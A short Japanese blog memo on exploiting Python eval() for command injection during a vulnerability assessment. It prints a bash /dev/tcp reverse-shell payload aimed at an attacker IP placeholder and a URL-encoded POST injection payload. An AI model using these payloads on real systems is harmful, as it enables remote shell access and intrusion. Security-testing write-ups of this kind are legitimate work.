LoginSignup
0
2

More than 1 year has passed since last update.

Eval()を利用したCommand injection in Python

Last updated at Posted at 2023-04-12

忘備録:Python上でシステムコマンドを実行する方法の考察

脆弱性検査において、Python上でコマンド実行できる箇所を探すケースに遭遇しました。

TR;DR
ユーザインプットをもとにeval()コードを実行している。
案の定、Payloadを変えて送信すると、システムコマンドが実行できた。

Python上でCommand Injectionがまとまっているサイトを探していると以下が見つかった。

古いが、役に立つ。簡単な例で行くと、このようなシェルを実行できる場合がある。

     __import__('os').popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/<Attacker IP>/1234 0>&1'").read();

脆弱性があるソースコードを読むと、ユーザーインプットをeval()で実行しているようだ。

以下のサイトでeval()の怖さを勉強してみた。

読み進めると、こんな感じで実行できる。

>>> # Arithmetic operations
>>> code = compile("5 + 4", "<string>", "eval")
>>> eval(code)
9

なので、以下のものも実行できた。

>>>eval(compile("import os;os.system('ls -al')","<String>","exec"))

そのアプリケーションに対してBurpを立ち上げて以下をPOSTメッセージに挿入すると、そのアプリはもちろん実行してくれた。ペイロードは色々試す必要があり大変。BURPのプラグインでも書くか。。。

engine=Accuweather&query=1'%2beval(compile("import os;os.system('ping -c 5 <Attacker IP>')","<String>","exec"))%2b'&auto_redirect=

シェル実行までは記載しませんが、簡単に取れる。

ハッピーハッキング

0
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
2